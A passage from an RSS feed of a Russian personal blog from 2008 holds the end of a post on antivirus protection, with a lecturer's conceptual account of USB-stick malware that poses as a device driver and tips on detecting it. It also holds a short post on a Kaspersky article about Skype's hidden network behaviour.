<p><strong>3.</strong> Препод рассказал о механизме заражения, перед которым антивирусы на момент написания статьи были бессильны (по его словам): файловая система флешки модифицируется специальным образом, делается маскирование под multimedia-device, славная ОС Windows видит на флешку 2 раздела &#8211; 1 служебный, в нем вирус, который маскируется под драйвер и запускается ОС автоматически, ведь это драйвер девайса, 2й раздел &#8211; ваша флешка так, как она видна в Проводнике. Вирус может воровать данные на свою закрытую часть. Обнаруживается сильным различием между номинальным и реальным пространством на флешке, либо просмотром в спец. утилитах флешки на другом уровне <img src='http://shrs.info/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>Ссылки по теме</strong>:<br />
- программы от <a rel="nofollow" href="http://www.sysinternals.com/" target="_blank">Марка Руссиновича / sysinternals.com</a> &#8211; очень рекомендую<br />
- из Вики <a rel="nofollow" href="http://ru.wikipedia.org/wiki/Антивирус" target="_blank">Антивирусная программа</a><br />
- ну и <a rel="nofollow" href="http://www.virustotal.com/ru/" target="_blank">virustotal.com</a> &#8211; проверка основными антивирусами с последними базами (еще раз подтверждает принцип относительности эффективности АВ =)</p>
<p><strong>Это моя позиция, а что делать вам, решайте сами. Удачи в борьбе с нечистью =)</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://shrs.info/archives/14/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Skype &#8211; скрытая угроза</title>
		<link>http://shrs.info/archives/6</link>
		<comments>http://shrs.info/archives/6#comments</comments>
		<pubDate>Fri, 03 Oct 2008 19:53:07 +0000</pubDate>
		<dc:creator>shr</dc:creator>
				<category><![CDATA[Безопасность]]></category>

		<guid isPermaLink="false">http://shrs.info/wordpress/?p=6</guid>
		<description><![CDATA[В поисках материала для курсовой работы наткнулся на статью К. Касперски Skype &#8211; скрытая угроза. Описание:
Skype представляет собой одну из самых популярных VoIP-программ, установленную на миллионах компьютеров по всему миру, владельцы которых даже и не подозревают, какая опасность им грозит.

Интересная статейка. То, что скайп и сервер, и клиент для меня стало очевидно сразу же, когда [...]]]></description>
			<content:encoded><![CDATA[<p>В поисках материала для курсовой работы наткнулся на статью К. Касперски <a href="http://shrs.info/r.php?http://daily.sec.ru/dailypblshow.cfm?rid=9&amp;pid=18333&amp;pos=2&amp;stp=25" target="_blank">Skype &#8211; скрытая угроза</a>. Описание:</p>
<blockquote><p>Skype представляет собой одну из самых популярных VoIP-программ, установленную на миллионах компьютеров по всему миру, владельцы которых даже и не подозревают, какая опасность им грозит.</p></blockquote>
<p>
Интересная статейка. То, что скайп и сервер, и клиент для меня стало очевидно сразу же, когда я посмотрел за сетевыми соединениями программы, но вот о такой навороченной защите естественно не думал&#8230; Что ж разработчики замышляют? Кстати Google Talk иногда не хуже по качеству, зато весит в разы меньше&#8230;</p>
<p>При сотрудничестве Vimaxmpeg4.com <a href="http://vimaxmpeg4.com/cd_5845.html">Биение сердца Даниэлы Стил Heartbeat фильм</a></p>
]]></content:encoded>
			<wfw:commentRss>http://shrs.info/archives/6/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
